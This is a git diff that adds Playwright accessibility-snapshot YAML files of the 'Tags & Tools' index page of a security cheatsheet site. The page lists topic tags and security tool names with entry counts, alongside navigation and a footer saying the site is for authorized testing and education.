+            - /url: /daemon-sec-cheatsheet/tags/workflow
+            - text: workflow
+            - generic [ref=f13e688]: "3"
+          - link "brute-force 2" [ref=f13e689] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/brute-force
+            - text: brute-force
+            - generic [ref=f13e690]: "2"
+          - link "cli 2" [ref=f13e691] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cli
+            - text: cli
+            - generic [ref=f13e692]: "2"
+          - link "forensics 2" [ref=f13e693] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/forensics
+            - text: forensics
+            - generic [ref=f13e694]: "2"
+          - link "git-workflow 2" [ref=f13e695] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/git-workflow
+            - text: git-workflow
+            - generic [ref=f13e696]: "2"
+          - link "hashes 2" [ref=f13e697] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/hashes
+            - text: hashes
+            - generic [ref=f13e698]: "2"
+          - link "ldap 2" [ref=f13e699] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ldap
+            - text: ldap
+            - generic [ref=f13e700]: "2"
+          - link "osint 2" [ref=f13e701] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/osint
+            - text: osint
+            - generic [ref=f13e702]: "2"
+          - link "port-forwarding 2" [ref=f13e703] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/port-forwarding
+            - text: port-forwarding
+            - generic [ref=f13e704]: "2"
+          - link "port-scanning 2" [ref=f13e705] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/port-scanning
+            - text: port-scanning
+            - generic [ref=f13e706]: "2"
+          - link "productivity 2" [ref=f13e707] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/productivity
+            - text: productivity
+            - generic [ref=f13e708]: "2"
+          - link "recon 2" [ref=f13e709] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/recon
+            - text: recon
+            - generic [ref=f13e710]: "2"
+          - link "scanning 2" [ref=f13e711] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/scanning
+            - text: scanning
+            - generic [ref=f13e712]: "2"
+          - link "shares 2" [ref=f13e713] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/shares
+            - text: shares
+            - generic [ref=f13e714]: "2"
+          - link "spraying 2" [ref=f13e715] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/spraying
+            - text: spraying
+            - generic [ref=f13e716]: "2"
+          - link "terminal 2" [ref=f13e717] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/terminal
+            - text: terminal
+            - generic [ref=f13e718]: "2"
+          - link "tooling 2" [ref=f13e719] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tooling
+            - text: tooling
+            - generic [ref=f13e720]: "2"
+          - link "acl-abuse 1" [ref=f13e721] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/acl-abuse
+            - text: acl-abuse
+            - generic [ref=f13e722]: "1"
+          - link "binary 1" [ref=f13e723] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/binary
+            - text: binary
+            - generic [ref=f13e724]: "1"
+          - link "branching 1" [ref=f13e725] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/branching
+            - text: branching
+            - generic [ref=f13e726]: "1"
+          - link "buffer-overflow 1" [ref=f13e727] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/buffer-overflow
+            - text: buffer-overflow
+            - generic [ref=f13e728]: "1"
+          - link "c2 1" [ref=f13e729] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/c2
+            - text: c2
+            - generic [ref=f13e730]: "1"
+          - link "coercion 1" [ref=f13e731] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/coercion
+            - text: coercion
+            - generic [ref=f13e732]: "1"
+          - link "commands 1" [ref=f13e733] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/commands
+            - text: commands
+            - generic [ref=f13e734]: "1"
+          - link "defense 1" [ref=f13e735] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/defense
+            - text: defense
+            - generic [ref=f13e736]: "1"
+          - link "dotnet 1" [ref=f13e737] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/dotnet
+            - text: dotnet
+            - generic [ref=f13e738]: "1"
+          - link "encryption 1" [ref=f13e739] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/encryption
+            - text: encryption
+            - generic [ref=f13e740]: "1"
+          - link "esc 1" [ref=f13e741] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/esc
+            - text: esc
+            - generic [ref=f13e742]: "1"
+          - link "file-inclusion 1" [ref=f13e743] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/file-inclusion
+            - text: file-inclusion
+            - generic [ref=f13e744]: "1"
+          - link "file-transfer 1" [ref=f13e745] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/file-transfer
+            - text: file-transfer
+            - generic [ref=f13e746]: "1"
+          - link "framework 1" [ref=f13e747] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/framework
+            - text: framework
+            - generic [ref=f13e748]: "1"
+          - link "fuzzing 1" [ref=f13e749] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/fuzzing
+            - text: fuzzing
+            - generic [ref=f13e750]: "1"
+          - link "graph 1" [ref=f13e751] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/graph
+            - text: graph
+            - generic [ref=f13e752]: "1"
+          - link "http 1" [ref=f13e753] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/http
+            - text: http
+            - generic [ref=f13e754]: "1"
+          - link "identification 1" [ref=f13e755] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/identification
+            - text: identification
+            - generic [ref=f13e756]: "1"
+          - link "incident-response 1" [ref=f13e757] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/incident-response
+            - text: incident-response
+            - generic [ref=f13e758]: "1"
+          - link "internal 1" [ref=f13e759] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/internal
+            - text: internal
+            - generic [ref=f13e760]: "1"
+          - link "lfi 1" [ref=f13e761] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/lfi
+            - text: lfi
+            - generic [ref=f13e762]: "1"
+          - link "macos 1" [ref=f13e763] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/macos
+            - text: macos
+            - generic [ref=f13e764]: "1"
+          - link "malware 1" [ref=f13e765] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/malware
+            - text: malware
+            - generic [ref=f13e766]: "1"
+          - link "memory-forensics 1" [ref=f13e767] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/memory-forensics
+            - text: memory-forensics
+            - generic [ref=f13e768]: "1"
+          - link "methodology 1" [ref=f13e769] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/methodology
+            - text: methodology
+            - generic [ref=f13e770]: "1"
+          - link "network-forensics 1" [ref=f13e771] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/network-forensics
+            - text: network-forensics
+            - generic [ref=f13e772]: "1"
+          - link "offensive 1" [ref=f13e773] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/offensive
+            - text: offensive
+            - generic [ref=f13e774]: "1"
+          - link "pcap 1" [ref=f13e775] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pcap
+            - text: pcap
+            - generic [ref=f13e776]: "1"
+          - link "permissions 1" [ref=f13e777] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/permissions
+            - text: permissions
+            - generic [ref=f13e778]: "1"
+          - link "pgp 1" [ref=f13e779] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pgp
+            - text: pgp
+            - generic [ref=f13e780]: "1"
+          - link "phishing 1" [ref=f13e781] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/phishing
+            - text: phishing
+            - generic [ref=f13e782]: "1"
+          - link "recovery 1" [ref=f13e783] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/recovery
+            - text: recovery
+            - generic [ref=f13e784]: "1"
+          - link "red-team 1" [ref=f13e785] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/red-team
+            - text: red-team
+            - generic [ref=f13e786]: "1"
+          - link "registry 1" [ref=f13e787] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/registry
+            - text: registry
+            - generic [ref=f13e788]: "1"
+          - link "rfi 1" [ref=f13e789] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/rfi
+            - text: rfi
+            - generic [ref=f13e790]: "1"
+          - link "screenshots 1" [ref=f13e791] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/screenshots
+            - text: screenshots
+            - generic [ref=f13e792]: "1"
+          - link "search 1" [ref=f13e793] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/search
+            - text: search
+            - generic [ref=f13e794]: "1"
+          - link "shells 1" [ref=f13e795] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/shells
+            - text: shells
+            - generic [ref=f13e796]: "1"
+          - link "ssh 1" [ref=f13e797] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ssh
+            - text: ssh
+            - generic [ref=f13e798]: "1"
+          - link "tickets 1" [ref=f13e799] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tickets
+            - text: tickets
+            - generic [ref=f13e800]: "1"
+          - link "tls 1" [ref=f13e801] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tls
+            - text: tls
+            - generic [ref=f13e802]: "1"
+          - link "undo 1" [ref=f13e803] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/undo
+            - text: undo
+            - generic [ref=f13e804]: "1"
+          - link "version-control 1" [ref=f13e805] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/version-control
+            - text: version-control
+            - generic [ref=f13e806]: "1"
+          - link "vulnerabilities 1" [ref=f13e807] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/vulnerabilities
+            - text: vulnerabilities
+            - generic [ref=f13e808]: "1"
+          - link "wordpress 1" [ref=f13e809] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/wordpress
+            - text: wordpress
+            - generic [ref=f13e810]: "1"
+      - generic [ref=f13e811]:
+        - generic [ref=f13e813]:
+          - paragraph [ref=f13e814]:
+            - generic [ref=f13e815]: "02"
+            - generic [ref=f13e816]: "^:"
+            - generic [ref=f13e817]: 95 tools
+          - heading "By tool" [level=2] [ref=f13e818]
+        - generic [ref=f13e819]:
+          - generic [ref=f13e820]:
+            - text: Impacket
+            - generic [ref=f13e821]: "75"
+          - generic [ref=f13e822]:
+            - text: PowerShell
+            - generic [ref=f13e823]: "71"
+          - generic [ref=f13e824]:
+            - text: Certipy
+            - generic [ref=f13e825]: "52"
+          - generic [ref=f13e826]:
+            - text: NetExec
+            - generic [ref=f13e827]: "48"
+          - generic [ref=f13e828]:
+            - text: Mimikatz
+            - generic [ref=f13e829]: "47"
+          - generic [ref=f13e830]:
+            - text: Rubeus
+            - generic [ref=f13e831]: "43"
+          - generic [ref=f13e832]:
+            - text: BloodHound
+            - generic [ref=f13e833]: "33"
+          - generic [ref=f13e834]:
+            - text: Evil-WinRM
+            - generic [ref=f13e835]: "20"
+          - generic [ref=f13e836]:
+            - text: OpenSSL
+            - generic [ref=f13e837]: "17"
+          - generic [ref=f13e838]:
+            - text: Nmap
+            - generic [ref=f13e839]: "16"
+          - generic [ref=f13e840]:
+            - text: Metasploit
+            - generic [ref=f13e841]: "13"
+          - generic [ref=f13e842]:
+            - text: Certify
+            - generic [ref=f13e843]: "11"
+          - generic [ref=f13e844]:
+            - text: Hashcat
+            - generic [ref=f13e845]: "11"
+          - generic [ref=f13e846]:
+            - text: ldapsearch
+            - generic [ref=f13e847]: "10"
+          - generic [ref=f13e848]:
+            - text: Meterpreter
+            - generic [ref=f13e849]: "7"
+          - generic [ref=f13e850]:
+            - text: faketime
+            - generic [ref=f13e851]: "5"
+          - generic [ref=f13e852]:
+            - text: John
+            - generic [ref=f13e853]: "5"
+          - generic [ref=f13e854]:
+            - text: Responder
+            - generic [ref=f13e855]: "4"
+          - generic [ref=f13e856]:
+            - text: socat
+            - generic [ref=f13e857]: "4"
+          - generic [ref=f13e858]:
+            - text: Chisel
+            - generic [ref=f13e859]: "3"
+          - generic [ref=f13e860]:
+            - text: ffuf
+            - generic [ref=f13e861]: "3"
+          - generic [ref=f13e862]:
+            - text: git
+            - generic [ref=f13e863]: "3"
+          - generic [ref=f13e864]:
+            - text: Gitleaks
+            - generic [ref=f13e865]: "3"
+          - generic [ref=f13e866]:
+            - text: Kerbrute
+            - generic [ref=f13e867]: "3"
+          - generic [ref=f13e868]:
+            - text: Ligolo-ng
+            - generic [ref=f13e869]: "3"
+          - generic [ref=f13e870]:
+            - text: CrackMapExec
+            - generic [ref=f13e871]: "2"
+          - generic [ref=f13e872]:
+            - text: curl
+            - generic [ref=f13e873]: "2"
+          - generic [ref=f13e874]:
+            - text: Gobuster
+            - generic [ref=f13e875]: "2"
+          - generic [ref=f13e876]:
+            - text: GPG
+            - generic [ref=f13e877]: "2"
+          - generic [ref=f13e878]:
+            - text: Nuclei
+            - generic [ref=f13e879]: "2"
+          - generic [ref=f13e880]:
+            - text: SharpHound
+            - generic [ref=f13e881]: "2"
+          - generic [ref=f13e882]:
+            - text: Snaffler
+            - generic [ref=f13e883]: "2"
+          - generic [ref=f13e884]:
+            - text: SQLMap
+            - generic [ref=f13e885]: "2"
+          - generic [ref=f13e886]:
+            - text: SSH
+            - generic [ref=f13e887]: "2"
+          - generic [ref=f13e888]:
+            - text: TruffleHog
+            - generic [ref=f13e889]: "2"
+          - generic [ref=f13e890]:
+            - text: Autopsy
+            - generic [ref=f13e891]: "1"
+          - generic [ref=f13e892]:
+            - text: bloodhound-python
+            - generic [ref=f13e893]: "1"
+          - generic [ref=f13e894]:
+            - text: BloodyAD
+            - generic [ref=f13e895]: "1"
+          - generic [ref=f13e896]:
+            - text: Burp Suite
+            - generic [ref=f13e897]: "1"
+          - generic [ref=f13e898]:
+            - text: certutil
+            - generic [ref=f13e899]: "1"
+          - generic [ref=f13e900]:
+            - text: chmod
+            - generic [ref=f13e901]: "1"
+          - generic [ref=f13e902]:
+            - text: chown
+            - generic [ref=f13e903]: "1"
+          - generic [ref=f13e904]:
+            - text: cmd
+            - generic [ref=f13e905]: "1"
+          - generic [ref=f13e906]:
+            - text: Cobalt Strike
+            - generic [ref=f13e907]: "1"
+          - generic [ref=f13e908]:
+            - text: Coercer
+            - generic [ref=f13e909]: "1"
+          - generic [ref=f13e910]:
+            - text: defaults
+            - generic [ref=f13e911]: "1"
+          - generic [ref=f13e912]:
+            - text: EyeWitness
+            - generic [ref=f13e913]: "1"
+          - generic [ref=f13e914]:
+            - text: find
+            - generic [ref=f13e915]: "1"
+          - generic [ref=f13e916]:
+            - text: fscan
+            - generic [ref=f13e917]: "1"
+          - generic [ref=f13e918]:
+            - text: GnuPG
+            - generic [ref=f13e919]: "1"
+          - generic [ref=f13e920]:
+            - text: GTFOBins
+            - generic [ref=f13e921]: "1"
+          - generic [ref=f13e922]:
+            - text: hash-identifier
+            - generic [ref=f13e923]: "1"
+          - generic [ref=f13e924]:
+            - text: hashid
+            - generic [ref=f13e925]: "1"
+          - generic [ref=f13e926]:
+            - text: Hydra
+            - generic [ref=f13e927]: "1"
+          - generic [ref=f13e928]:
+            - text: Immunity Debugger
+            - generic [ref=f13e929]: "1"
+          - generic [ref=f13e930]:
+            - text: John the Ripper
+            - generic [ref=f13e931]: "1"
+          - generic [ref=f13e932]:
+            - text: JuicyPotato
+            - generic [ref=f13e933]: "1"
+          - generic [ref=f13e934]:
+            - text: linPEAS
+            - generic [ref=f13e935]: "1"
+          - generic [ref=f13e936]:
+            - text: Medusa
+            - generic [ref=f13e937]: "1"
+          - generic [ref=f13e938]:
+            - text: mona.py
+            - generic [ref=f13e939]: "1"
+          - generic [ref=f13e940]:
+            - text: msfconsole
+            - generic [ref=f13e941]: "1"
+          - generic [ref=f13e942]:
+            - text: msfvenom
+            - generic [ref=f13e943]: "1"
+          - generic [ref=f13e944]:
+            - text: MySQL client
+            - generic [ref=f13e945]: "1"
+          - generic [ref=f13e946]:
+            - text: nc
+            - generic [ref=f13e947]: "1"
+          - generic [ref=f13e948]:
+            - text: Nikto
+            - generic [ref=f13e949]: "1"
+          - generic [ref=f13e950]:
+            - text: ntlmrelayx
+            - generic [ref=f13e951]: "1"
+          - generic [ref=f13e952]:
+            - text: nxc
+            - generic [ref=f13e953]: "1"
+          - generic [ref=f13e954]:
+            - text: openssl
+            - generic [ref=f13e955]: "1"
+          - generic [ref=f13e956]:
+            - text: plaso
+            - generic [ref=f13e957]: "1"
+          - generic [ref=f13e958]:
+            - text: plink
+            - generic [ref=f13e959]: "1"
+          - generic [ref=f13e960]:
+            - text: PowerUp
+            - generic [ref=f13e961]: "1"
+          - generic [ref=f13e962]:
+            - text: pspy
+            - generic [ref=f13e963]: "1"
+          - generic [ref=f13e964]:
+            - text: python
+            - generic [ref=f13e965]: "1"
+          - generic [ref=f13e966]:
+            - text: RECmd
+            - generic [ref=f13e967]: "1"
+          - generic [ref=f13e968]:
+            - text: Registry Explorer
+            - generic [ref=f13e969]: "1"
+          - generic [ref=f13e970]:
+            - text: RustScan
+            - generic [ref=f13e971]: "1"
+          - generic [ref=f13e972]:
+            - text: SharpSploit
+            - generic [ref=f13e973]: "1"
+          - generic [ref=f13e974]:
+            - text: Shodan
+            - generic [ref=f13e975]: "1"
+          - generic [ref=f13e976]:
+            - text: Sleuth Kit
+            - generic [ref=f13e977]: "1"
+          - generic [ref=f13e978]:
+            - text: smbmap
+            - generic [ref=f13e979]: "1"
+          - generic [ref=f13e980]:
+            - text: SMBMap
+            - generic [ref=f13e981]: "1"
+          - generic [ref=f13e982]:
+            - text: smbserver
+            - generic [ref=f13e983]: "1"
+          - generic [ref=f13e984]:
+            - text: stty
+            - generic [ref=f13e985]: "1"
+          - generic [ref=f13e986]:
+            - text: tmux
+            - generic [ref=f13e987]: "1"
+          - generic [ref=f13e988]:
+            - text: tshark
+            - generic [ref=f13e989]: "1"
+          - generic [ref=f13e990]:
+            - text: TShark
+            - generic [ref=f13e991]: "1"
+          - generic [ref=f13e992]:
+            - text: umask
+            - generic [ref=f13e993]: "1"
+          - generic [ref=f13e994]:
+            - text: urlscan
+            - generic [ref=f13e995]: "1"
+          - generic [ref=f13e996]:
+            - text: VirusTotal
+            - generic [ref=f13e997]: "1"
+          - generic [ref=f13e998]:
+            - text: Volatility 3
+            - generic [ref=f13e999]: "1"
+          - generic [ref=f13e1000]:
+            - text: wget
+            - generic [ref=f13e1001]: "1"
+          - generic [ref=f13e1002]:
+            - text: winPEAS
+            - generic [ref=f13e1003]: "1"
+          - generic [ref=f13e1004]:
+            - text: Wireshark
+            - generic [ref=f13e1005]: "1"
+          - generic [ref=f13e1006]:
+            - text: WPScan
+            - generic [ref=f13e1007]: "1"
+          - generic [ref=f13e1008]:
+            - text: zsh
+            - generic [ref=f13e1009]: "1"
+  - contentinfo [ref=f13e1010]:
+    - generic [ref=f13e1011]:
+      - generic [ref=f13e1012]:
+        - link "DÆMON // SEC" [ref=f13e1013] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f13e1014]: //
+          - text: SEC
+        - paragraph [ref=f13e1015]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f13e1016]:
+        - link "daemon-404.github.io β†—" [ref=f13e1017] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f13e1018] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f13e1019]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f13e1020] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f13e1021] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f13e1022]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f13e1023]: RosΓ© Pine Β· Astro Β· Pagefind
+  - dialog "Search cheatsheets" [ref=f13e1026]:
+    - generic [ref=f13e1027]:
+      - combobox "Search query" [active] [ref=f13e1031]
+      - button "Close search" [ref=f13e1032] [cursor=pointer]
+    - generic "Search results" [ref=f13e1035]:
+      - paragraph [ref=f13e1036]: Type to search the vault. ↑↓ move, ↡ open, Esc close.
+  - generic [ref=f13e1024]: Tags & Tools — DÆMON//SEC
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-28-34-417Z.yml b/.playwright-mcp/page-2026-08-10T08-28-34-417Z.yml
@@ -0,0 +1,863 @@
+- generic [ref=f13e550]:
+  - banner [ref=f13e551]:
+    - generic [ref=f13e552]:
+      - link "DÆMON//SEC home" [ref=f13e553] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f13e554]: //
+        - text: SEC
+        - generic [ref=f13e555]: _
+      - navigation "Primary" [ref=f13e556]:
+        - link "01 Vault" [ref=f13e557] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f13e558]: "01"
+          - generic [ref=f13e559]: Vault
+        - link "02 Payloads" [ref=f13e560] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f13e561]: "02"
+          - generic [ref=f13e562]: Payloads
+        - link "03 Tags" [ref=f13e563] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f13e564]: "03"
+          - generic [ref=f13e565]: Tags
+        - link "04 Credits" [ref=f13e566] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f13e567]: "04"
+          - generic [ref=f13e568]: Credits
+      - generic [ref=f13e569]:
+        - button "Search cheatsheets" [ref=f13e570] [cursor=pointer]:
+          - generic [ref=f13e573]: Search
+          - generic [ref=f13e574]: /
+        - button "Toggle theme" [ref=f13e575] [cursor=pointer]
+        - link "DÆMON main site" [ref=f13e580] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f13e583] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f13e586]:
+    - generic [ref=f13e589]:
+      - generic [ref=f13e590]:
+        - paragraph [ref=f13e591]:
+          - generic [ref=f13e592]: "04"
+          - generic [ref=f13e593]: "^:"
+          - generic [ref=f13e594]: Cross-reference
+        - heading "Tags & Tools" [level=1] [ref=f13e596]
+        - paragraph [ref=f13e597]: Jump into the vault by topic or by the tool you're reaching for.
+      - generic [ref=f13e598]:
+        - generic [ref=f13e599]:
+          - term [ref=f13e600]: Tags
+          - definition [ref=f13e601]: "96"
+        - generic [ref=f13e602]:
+          - term [ref=f13e603]: Tools
+          - definition [ref=f13e604]: "95"
+    - generic [ref=f13e605]:
+      - navigation [ref=f13e606]:
+        - link "~" [ref=f13e607] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f13e608]: /
+        - generic [ref=f13e609]: index
+      - generic [ref=f13e610]:
+        - generic [ref=f13e612]:
+          - paragraph [ref=f13e613]:
+            - generic [ref=f13e614]: "01"
+            - generic [ref=f13e615]: "^:"
+            - generic [ref=f13e616]: 96 tags
+          - heading "By tag" [level=2] [ref=f13e617]
+        - generic [ref=f13e618]:
+          - link "active-directory 130" [ref=f13e619] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/active-directory
+            - text: active-directory
+            - generic [ref=f13e620]: "130"
+          - link "adcs 74" [ref=f13e621] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/adcs
+            - text: adcs
+            - generic [ref=f13e622]: "74"
+          - link "privilege-escalation 46" [ref=f13e623] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/privilege-escalation
+            - text: privilege-escalation
+            - generic [ref=f13e624]: "46"
+          - link "kerberos 45" [ref=f13e625] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/kerberos
+            - text: kerberos
+            - generic [ref=f13e626]: "45"
+          - link "hashing 32" [ref=f13e627] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/hashing
+            - text: hashing
+            - generic [ref=f13e628]: "32"
+          - link "credential-access 30" [ref=f13e629] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/credential-access
+            - text: credential-access
+            - generic [ref=f13e630]: "30"
+          - link "enumeration 25" [ref=f13e631] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/enumeration
+            - text: enumeration
+            - generic [ref=f13e632]: "25"
+          - link "ntlm 20" [ref=f13e633] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ntlm
+            - text: ntlm
+            - generic [ref=f13e634]: "20"
+          - link "lateral-movement 15" [ref=f13e635] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/lateral-movement
+            - text: lateral-movement
+            - generic [ref=f13e636]: "15"
+          - link "persistence 14" [ref=f13e637] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/persistence
+            - text: persistence
+            - generic [ref=f13e638]: "14"
+          - link "web 14" [ref=f13e639] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/web
+            - text: web
+            - generic [ref=f13e640]: "14"
+          - link "relay 12" [ref=f13e641] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/relay
+            - text: relay
+            - generic [ref=f13e642]: "12"
+          - link "delegation 11" [ref=f13e643] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/delegation
+            - text: delegation
+            - generic [ref=f13e644]: "11"
+          - link "sql-injection 11" [ref=f13e645] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/sql-injection
+            - text: sql-injection
+            - generic [ref=f13e646]: "11"
+          - link "tools 10" [ref=f13e647] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tools
+            - text: tools
+            - generic [ref=f13e648]: "10"
+          - link "post-exploitation 8" [ref=f13e649] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/post-exploitation
+            - text: post-exploitation
+            - generic [ref=f13e650]: "8"
+          - link "exploitation 7" [ref=f13e651] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/exploitation
+            - text: exploitation
+            - generic [ref=f13e652]: "7"
+          - link "pivoting 7" [ref=f13e653] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pivoting
+            - text: pivoting
+            - generic [ref=f13e654]: "7"
+          - link "linux 5" [ref=f13e655] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/linux
+            - text: linux
+            - generic [ref=f13e656]: "5"
+          - link "linux-it 5" [ref=f13e657] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/linux-it
+            - text: linux-it
+            - generic [ref=f13e658]: "5"
+          - link "tunneling 5" [ref=f13e659] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tunneling
+            - text: tunneling
+            - generic [ref=f13e660]: "5"
+          - link "windows 5" [ref=f13e661] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/windows
+            - text: windows
+            - generic [ref=f13e662]: "5"
+          - link "credentials 4" [ref=f13e663] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/credentials
+            - text: credentials
+            - generic [ref=f13e664]: "4"
+          - link "dfir 4" [ref=f13e665] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/dfir
+            - text: dfir
+            - generic [ref=f13e666]: "4"
+          - link "xss 4" [ref=f13e667] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/xss
+            - text: xss
+            - generic [ref=f13e668]: "4"
+          - link "certificates 3" [ref=f13e669] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/certificates
+            - text: certificates
+            - generic [ref=f13e670]: "3"
+          - link "cracking 3" [ref=f13e671] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cracking
+            - text: cracking
+            - generic [ref=f13e672]: "3"
+          - link "cryptography 3" [ref=f13e673] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cryptography
+            - text: cryptography
+            - generic [ref=f13e674]: "3"
+          - link "git 3" [ref=f13e675] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/git
+            - text: git
+            - generic [ref=f13e676]: "3"
+          - link "injection 3" [ref=f13e677] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/injection
+            - text: injection
+            - generic [ref=f13e678]: "3"
+          - link "network 3" [ref=f13e679] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/network
+            - text: network
+            - generic [ref=f13e680]: "3"
+          - link "password-attacks 3" [ref=f13e681] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/password-attacks
+            - text: password-attacks
+            - generic [ref=f13e682]: "3"
